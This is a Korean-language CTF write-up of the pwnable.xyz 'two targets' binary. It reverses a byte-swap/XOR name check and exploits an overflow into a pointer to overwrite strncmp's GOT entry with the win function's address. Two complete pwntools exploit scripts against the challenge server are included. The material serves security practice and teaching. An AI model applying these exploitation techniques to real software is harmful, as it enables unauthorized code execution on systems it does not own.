target이 두 개가 있나보다.

 

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

menu중에 특이하게 Get shell이란 선택지가 있다. 저 선택지가 눈에 띄는 target이고 뭐 숨겨져 있는 target도 있는... 그런 문제인가?

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  int v4; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = (char *)&v6;
      __isoc99_scanf((__int64)"%24s", (__int64)&v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf((__int64)"%d", (__int64)v7);
      }
      else if ( v4 == 4 )
      {
        if ( (unsigned __int8)auth((__int64)&s) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_14;
      printf("name: ", v3);
      v3 = &s;
      __isoc99_scanf((__int64)"%32s", (__int64)&s);
    }
  }
}

 

nationality는 24byte까지 입력이 가능하고, age에는 정수가 입력되며 name에는 32byte까지 입력이 가능하다. 아까 확인했었던 Get shell을 선택하게 되면 auth(&s)가 0이 아니라면 win함수가 실행이 된다. 여기서 s는 name이 저장되는 변수이다.

 

[auth]

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 0x1F; ++i )
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
  return strncmp(s1, &s2, 0x20uLL) == 0;
}

 

name에 저장된 문자열을 특정 연산을 해준 후 s2와 같은지 확인을 해주고 있다.

 

 

s2는 다음과 같다. 아마 첫 번째 타겟은 이 함수를 리버싱해서 win을 호출하는 것 같다.

 

for ( i = 0; (unsigned int)i <= 0x1F; ++i )

    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);

 

이 부분의 연산을 분석해보자.

a1[i]를 왼쪽으로 4bit shift한 값과 a1[i]를 오른쪽으로 4bit shift해준 것을 or연산을 해주고 main[i]랑 xor해주고 있다.

 

main부분의 코드에서 20byte를 긁어와서 코드를 짜주면 된다. 

 

1. tmp1 = a1[i] << 4

2. tmp2 = a1[i] >> 4

3. tmp3 = tmp1 | tmp2

4. tmp3 ^ main[i]

 

이 과정을 역연산해서 payload를 짜줬다.

 

참고

"11110000" 이런 1byte 값으로 해당 연산을 해본다고 가정해보자.

왼쪽으로 4bit shift해주면 "11110000(0000)"이 남고 오른쪽으로 4bit shift해주면 "1111"이 남는다. 각각 원래값+0000과상위 4bit가 남게 된다. 이를 or연산 해주면 "111100001111"로 원래 값 + 상위 4bit가 나온다.

그런데 BYTE연산이니까 결국은 하위 4bit + 상위 4bit로 4bit단위로 앞뒤가 바뀐 결과가 나온다.

 

 

[payload]

from pwn import *
context.log_level = 'debug'

r = remote('svc.pwnable.xyz', 30031)

s2 = [0x11,0xde,0xcf,0x10,0xdf,0x75,
	0xbb,0xa5,0x43,0x1e,0x9d,0xc2,0xe3,
	0xbf,0xf5,0xd6,0x96,0x7f,0xbe,0xb0,
	0xbf,0xb7,0x96,0x1d,0xa8,0xbb,0x0a,
	0xd9,0xbf,0xc9,0x0d,0xff]

main = [0x55,0x48,0x89,0xe5,0x48,0x83,0xec,
	0x50,0x64,0x48,0x8b,0x04,0x25,0x28,
	0x00,0x00,0x00,0x48,0x89,0x45,0xf8,
	0x31,0xc0,0xe8,0x24,0xfe,0xff,0xff,
	0x48,0x8d,0x45,0xc0]

result = []

for i in range(0x20):
	tmp = s2[i] ^ main[i]
	result.append(hex((tmp>>4) | ((tmp<<4)&0xff)))


payload = ''
payload += "\x44\x69\x64\x5f\x79\x6f\x75\x5f\x72\x65\x61\x6c\x6c\x79\x5f\x6d\x69\x73\x73\x5f\x74\x68\x65\x5f\xc8\x54\x5f\x62\x7f\x44\x84\xf3"

r.sendlineafter("> ", "1")
r.sendlineafter("name: ", payload)
r.sendlineafter("> ", "4")	

r.interactive()

 

 

성공이다. 이제 두 번째 target을 찾아보자.

 

[main 중]

 __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = (char *)&v6;
      __isoc99_scanf((__int64)"%24s", (__int64)&v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf((__int64)"%d", (__int64)v7);
      }

 

이 부분을 자세히 보면 v6의 크기는 0x10byte이지만 입력은 0x18byte를 받을 수 있어서 v7까지 덮을 수 있는데 age를 입력받는 부분에서 v7에 정수를 입력받을 수 있게 되어있다.

 

v6에 0x10만큼의 dummy값을 씌우고 v7에 got를 덮어주면 되는데 여기서 "%d"로 age에 입력을 받기 때문에 4byte만 덮을 수 있다. 그러므로 한번도 호출되지 않은 함수를 사용해야 된다. 한번이라도 호출 된 함수는 0x7fff... 이런식으로 6byte가 채워져 있어서 사용이 불가능하다. strcmp의 got를 덮어주고 age에서 win의 주소를 넣어주면 된다~!

 

from pwn import *

r = remote('svc.pwnable.xyz', 30031)

win_add = int(0x40099c)
strncmp_got = 0x603018

payload = ''
payload += "A"*0x10 + p64(strncmp_got)

r.sendlineafter("> ", "2")
r.sendlineafter("nationality: ", payload)
r.sendlineafter("> ", "3")
r.sendlineafter("age: ", str(win_add))
r.sendlineafter("> ", "4")

r.interactive()

 

 

두 번째도 성공이다.

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25

+ Recent posts